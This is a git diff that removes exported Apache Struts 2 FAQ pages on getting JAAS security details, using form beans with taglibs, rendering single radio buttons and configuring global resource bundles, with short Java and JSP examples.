-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How do I obtain security details (JAAS)</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-do-i-obtain-security-details-jaas.html">How do I obtain security details (JAAS)</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How do I obtain security details (JAAS)</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14239">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14239">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14239">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14239">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14239">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14239">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>You can obtain the UserPrincipal and other security details by going through the request or implementing PrincipalAware. Implementing PrincipalAware is preferred.</p>
-
-<h2 id="HowdoIobtainsecuritydetails(JAAS)-GoThroughtheRequest">Go Through the Request</h2>
-
-<p>First obtain the HttpServletRequest and then obtain the security Principal.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-HttpServletRequest request = ServletActionContext.getRequest();
-String authType = request.getAuthType();         // http or https
-String user = request.getRemoteUser();           // the user principal (in string)
-Principalprincipal = request.getUserPrincipal(); // get a Principal object
-bool isAuth = request.isUserInRole("patrick");
-</pre>
-</div></div>
-
-<h2 id="HowdoIobtainsecuritydetails(JAAS)-ImplementPrincipalAware">Implement PrincipalAware</h2>
-
-<p><img class="emoticon emoticon-yellow-star" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/star_yellow.png" data-emoticon-name="yellow-star" alt="(star)"> <em>Preferred</em></p>
-<ul><li>Ensure that <code>servlet-config</code> Interceptor is included in the Action's stack.
-	<ul><li><img class="emoticon emoticon-information" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/information.png" data-emoticon-name="information" alt="(info)"> <em>The default stack already includes</em> <code><em>servlet-config</em></code><em>.</em></li></ul>
-	</li><li>Edit the Action so that it implements the PrincipalAware interface.
-	<ul><li>The PrincipalAware interface expects a <code>setPrincipalProxy(PrincipalProxy)</code> method. You may wish to include a companion <code>getPrincipalProxy</code> method.</li></ul>
-	</li><li>At runtime, use the PrincipalProxy reference to invoke methods such as <code>isUserInRole</code>, <code>getUserPrincipal()</code>, <code>getRemoteUser()</code>, <code>isRequestSecure()</code>, and so forth.</li></ul>
-
-
-<p>@see org.apache.struts.action2.interceptor.PrincipalProxy<br clear="none">
-@see org.apache.struts.action2.interceptor.PrincipalAware<br clear="none">
-@see org.apache.struts.action2.interceptor.ServletConfigInterceptor</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-do-i-populate-a-form-bean-and-get-the-value-using-the-taglib.html b/content/docs/how-do-i-populate-a-form-bean-and-get-the-value-using-the-taglib.html
deleted file mode 100644
index 3e5dbca..0000000
--- a/content/docs/how-do-i-populate-a-form-bean-and-get-the-value-using-the-taglib.html
+++ /dev/null
@@ -1,201 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How do I populate a form bean and get the value using the taglib</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="cookbook.html">Cookbook</a>&nbsp;&gt;&nbsp;<a href="how-do-i-populate-a-form-bean-and-get-the-value-using-the-taglib.html">How do I populate a form bean and get the value using the taglib</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How do I populate a form bean and get the value using the taglib</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14126">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14126">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14126">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14126">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14126">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14126">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p>First off, if you're coming from Struts 1, you may feel more comfortable using FormBeans instead of using the Action as your form bean. Be aware, though, that in Webwork you DO have the option of having the properties directly in the Action class. If you want to use a FormBean, here's an example:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class TestAction extends ActionSupport {
-    private TestBean myBean;
-
-    public TestBean getMyBean() {
-        return myBean;
-    }
-
-    public void setMyBean(TestBean myBean) {
-        this.myBean = myBean;
-    }
-
-    protected String doExecute() throws Exception {
-        myBean = new TestBean();
-        BeanUtil.setProperties(ActionContext.getContext().getParameters(), myBean);
-        return SUCCESS;
-    }
-}
-</pre>
-</div></div>
-
-<p>Then, in your success.jsp, which is mapped as the success result of TestAction in the views.properties or actions.xml (see the docs for how to configure actions and view mappings), you can do this:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;!-- This will call getMyBean() on your action and put it on the top of the value stack -&gt;
-&lt;webwork:property value="myBean"&gt; 
-&lt;!- This will call getName() on your TestBean and print it to the page --&gt;
-The name is: &lt;webwork:property value="name"/&gt;
-&lt;/webwork:property&gt;
-</pre>
-</div></div>
-<p>This is a good way to do it if you have several parameters from the TestBean that you want to display, but, if you have just one, like in this case, it's probably better to do this:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;webwork:property value="myBean/name"/&gt;
-</pre>
-</div></div>
-
-<p><span style="text-decoration: underline;"><strong>NOTE:</strong></span><br clear="none">
-As of WW2.2, the following should be used</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;webwork:property value="myBean.name" /&gt;
-</pre>
-</div></div>
-
-<p>Which will call getMyBean.getName() and print that out to the page.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-do-i-render-a-single-radio-button.html b/content/docs/how-do-i-render-a-single-radio-button.html
deleted file mode 100644
index 4e33ce4..0000000
--- a/content/docs/how-do-i-render-a-single-radio-button.html
+++ /dev/null
@@ -1,170 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How do I render a single radio button</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-do-i-render-a-single-radio-button.html">How do I render a single radio button</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How do I render a single radio button</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=46199">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=46199">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=46199">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=46199">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=46199">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=46199">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Using OGNL, it is possible to render a single radio button using the existing radio tag.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:radio theme="simple" name="selectedOption" list="{optionA}"/&gt;
-...
-&lt;s:radio theme="simple" name="selectedOption" list="{optionB}"/&gt;
-</pre>
-</div></div>
-
-<p>If you want to use some other (or no) label, you can use a map:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:radio theme="simple" name="selectedOption" list="#{optionA:'Value A'}"/&gt;
-...
-&lt;s:radio theme="simple" name="selectedOption" list="#{optionB:'Value B'}"/&gt;
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-do-i-set-a-global-resource-bundle.html b/content/docs/how-do-i-set-a-global-resource-bundle.html
deleted file mode 100644
index bb9a574..0000000
--- a/content/docs/how-do-i-set-a-global-resource-bundle.html
+++ /dev/null
@@ -1,211 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How do I set a global resource bundle</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-do-i-set-a-global-resource-bundle.html">How do I set a global resource bundle</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How do I set a global resource bundle</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13955">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13955">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13955">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13955">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13955">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13955">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p>In Struts 2, resource bundles can be associated with classes. The framework will automatically discover and load class-orientated resource bundles. You can also specify one or more global resource bundles, which would be available to all classes in the application, using either the standard properties file, or a custom listener.</p>
-
-<h2 id="HowdoIsetaglobalresourcebundle-Propertiesfile">Properties file</h2>
-
-<p>Global resource bundles can be specified in the <code>struts.properties</code> configuration file.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>struts.properties</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-struts.custom.i18n.resources=global-messages
-</pre>
-</div></div>
-<div class="confluence-information-macro confluence-information-macro-tip"><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The framework searches the class heirarchy first, then, as a last resource, checks the global resources.</p></div></div>
-<p>Multiple resource bundles can be specified by providing a comma-separated list.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>struts.properties</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-struts.custom.i18n.resources=global-messages, image-messages
-</pre>
-</div></div>
-
